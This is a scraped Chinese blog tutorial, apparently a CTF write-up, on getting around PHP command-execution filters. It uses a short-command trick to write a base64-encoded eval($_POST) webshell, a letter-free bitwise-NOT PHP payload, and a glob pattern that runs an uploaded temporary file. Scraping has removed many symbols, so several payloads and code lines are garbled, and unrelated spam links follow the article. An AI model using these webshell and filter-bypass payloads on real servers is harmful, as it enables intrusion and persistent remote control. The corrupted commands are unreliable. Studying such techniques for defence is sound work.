当前位置: 首页 > news >正文

鲁谷网站建设建筑工程网上办事大厅

鲁谷网站建设,建筑工程网上办事大厅,一个网站制作流程,山西省建设执业资格注册中心网站目录 一、Linux命令长度限制突破方法 1.在二进制漏洞利用中#xff0c;某师傅遇到可控数据只有8字节的情况#xff0c;去掉字符 串尾的\0#xff0c;限制在7个字符。 一、Linux命令长度限制突破方法 1.在二进制漏洞利用中#xff0c;某师傅遇到可控数据只有8字节的情况某师傅遇到可控数据只有8字节的情况去掉字符 串尾的\0限制在7个字符。 一、Linux命令长度限制突破方法 1.在二进制漏洞利用中某师傅遇到可控数据只有8字节的情况去掉字符 串尾的\0限制在7个字符。 ?php $param $_REQUEST[param]; if ( strlen($param) 8 ) { echo shell_exec($param); }这个的难点就是该怎么把执行语句缩短到7个字符很显然这个思路是行不通的,然后我们看到echo shell_exec($param);这个语句去看一下php官方文档对shell_exec这个函数的使用方法。 了解该函数的使用方法再结合Linux系统下的一些特性。 1.w 长度最短的命令 2.ls -t 以创建时间来列出当前目录下所有文件 3.文件列表以[换行符]分割每个文件 引入 \ 转义ls时的换行 1.换行不影响命令执行 成功构造任意命令执行写入Webshell  前辈就想到了在Linux下可以使用w字符串在w下创建文件,但是在后续学习其实可以直接字符串。 直接执行一句话木马再通过ants work连接 ?php eval($_POST[9]); 再通过上文了解到shell_exec的用法 输出以字符串的形式所以是不是需要想通过base64编码再通过解码输出呢通过工具。 那就开始写入吧echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw| base64 -d  c.php总结这一句就是我们所需要的执行语句。 可以看到我们写入成功,再一次写入最后写入ls -t0sh 0通过查看资料 很明显生成了c.php文件文件内容如下接下来我们使用蚁连接 访问c.php回显正常。  蚁连接成功原方法使用$_GET传参连不上改用POST就可以连接上。但是查看官方文档REQUEST两者都可以传参我现在还不清楚什么原因。 二 、无字母数字webshell之命令执行 这个代码如果要getshell怎样利用 当然这道题的限制 webshell长度不超过35位 除了不包含字母数字还不能包含$和_ 难点呼之欲出了我前面文章中给出的所有方法都用到了PHP中的变量需要对变量进行变形、异或、取反等操作最后动态执行函数。但现在因为$不能使用了所以我们无法构造PHP中的变量。 ?php if(isset($_GET[code])){$code $_GET[code];if(strlen($code)35){die(Long.);}if(preg_match(/[A-Za-z0-9_$]/,$code)){die(NO.);}eval($code); }else{highlight_file(__FILE__); } PHP7 下简单解决问题 查看官方文档 PHP7前是不允许用($a)();这样的方法来执行动态函数的但PHP7中增加了对此的支持。所以我们可以通过(phpinfo)();来执行函数第一个括号中可以是任意PHP表达式。 所以很简单了构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下不可见字符用url编码表示 (~%8F%97%8F%96%91%99%90)(); 基于现在的系统PHP5也需要思考 通过测试php5没有这个用法操作系统里包含的最重要的两个功能就是“shell系统命令”和“文件系统”很多木马与远控其实也只实现了这两个功能。 PHP自然也能够和操作系统进行交互“反引号”就是PHP中最简单的执行shell的方法想到就是用‘’shell执行命令。 因为反引号不属于“字母”、“数字”所以我们可以执行系统命令但问题来了如何利用无字母、数字、$的系统命令来getshell 好像问题又回到了原点无字母、数字、$在shell中仍然是一个难题。 此时我想到了两个有趣的Linux shell知识点 shell下可以利用.来执行任意脚本 Linux文件名支持用glob通配符代替 第一点.或者叫period它的作用和source一样就是用当前的shell执行一个文件中的命令。比如当前运行的shell是bash则. file的意思就是用bash执行file文件中的命令。 用. file执行文件是不需要file有x权限的。那么如果目标服务器上有一个我们可控的文件那不就可以利用.来执行它了吗 这个文件也很好得到我们可以发送一个上传文件的POST包此时PHP会将我们上传的文件保存在临时文件夹下默认的文件名是/tmp/phpXXXXXX文件名最后6个字符是随机的大小写字母。 第二个难题接踵而至执行. /tmp/phpXXXXXX也是有字母的。此时就可以用到Linux下的glob通配符 *可以代替0个及以上任意字符 可以代表1个任意字符 那么/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。 但我们尝试执行. /???/?????????但是实际上我们会匹配到多个所以执行不了。所以就要了解glob通配符 描述 glob是shell使用的路径匹配符类似于正则表达式但是与正则表达式不完全相同。在linux操作中如文件匹配等等其实已经使用了glob通配符。由于其在路径匹配方面的强大其他语言也有相应的实现。我在使用基于node的gulp时遇到glob匹配文件路径于是顺便整理一下glob的基础语法和使用。 glob通配符 语法和使用 *匹配一个路径部分中0个或多个字符注意不匹配以.开始的路径如文件.a。 ?匹配一个字符。 […]匹配一系列字符如[abc]匹配字符a, b, c在[^…]和[!…]表示匹配不在列表中的字符如[^abc]匹配除了a, b, c以外的字符。--我们就要使用这个来减少达到精准匹配 **匹配0个或多个子文件夹。 {a,b}匹配a或则ba和b也是通配符可以由其他通配符组成。 !排除文件如!a.js表示排除文件a.js。 更多相关语法可参考node-glob。 所有文件名都是小写只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了我们只要找到一个可以表示“大写字母”的glob通配符就能精准找到我们要执行的文件。 翻开ascii码表可见大写字母位于与[之间那么我们可以利用[-[]来表示大写字母。 当然php生成临时文件名是随机的最后一个字符不一定是大写字母不过多尝试几次也就行了最后一个字符也可能是数字。 最后我传入的code为??. /???/????????[-[];?发送数据包如下 上传命令执行的文件,就可以执行命令了。
http://www.dnsts.com.cn/news/94103.html

相关文章:

  • 那个相亲网站做的比较好平台推广策划案
  • 免费网站建站百度云网站如何paypal支付方式
  • 常平哪里有招计算机网站开发的wordpress电影主题博客
  • 个人网站怎么建设步骤怎么做网站不用备案
  • 可信网站图标 费流量广东平台网站建设哪家好
  • 德州市建设街小学网站首页深圳定制纸箱
  • 网站首页背景图片网站建立价格
  • 甘肃省建设银行网站网页游戏开服表怎么关闭
  • 网站 建设 计划书外贸网站搭建公司
  • 广东网站备案时间360建筑网证书
  • 苏州吴江做网站公司中国室内设计公司排名前十强
  • 北京网站建设价格便宜北京信息发布平台
  • 创恒建设有限公司网站公司网站建设企划书
  • 厦门唯一官方网站广告软文小故事200字
  • 德兴网站建设关键词优化排名软件
  • 网站底部的备案号动态设计参考网站
  • 南昌企业制作网站设计建什么网站做cpa
  • 免费外贸建站平台网站设计经典案例欣赏
  • 机关网站建设 方案upscale wordpress
  • 济南网站建设排名常用的html编辑器有哪些
  • 怎么建立自己的网站平台杭州手机网站制作公司哪家好
  • 昌邑建设网站华为荣耀商店
  • funpinpin建站平台网站忧化教程
  • 搜狗网站seo秦皇岛建设路小学网站
  • 做效果图挣钱的网站网站开发用户需求分析
  • 传奇广告网站怎么做免费注册域名哪里有
  • 哪个网站可以做试卷重庆专业做网站公司
  • 高大上的企业网站烟台网站建设价格
  • 如何建设自己的网站 知乎很小众却很惊艳的公众号名字
  • pc网站做app京东厦门网站建设 软件园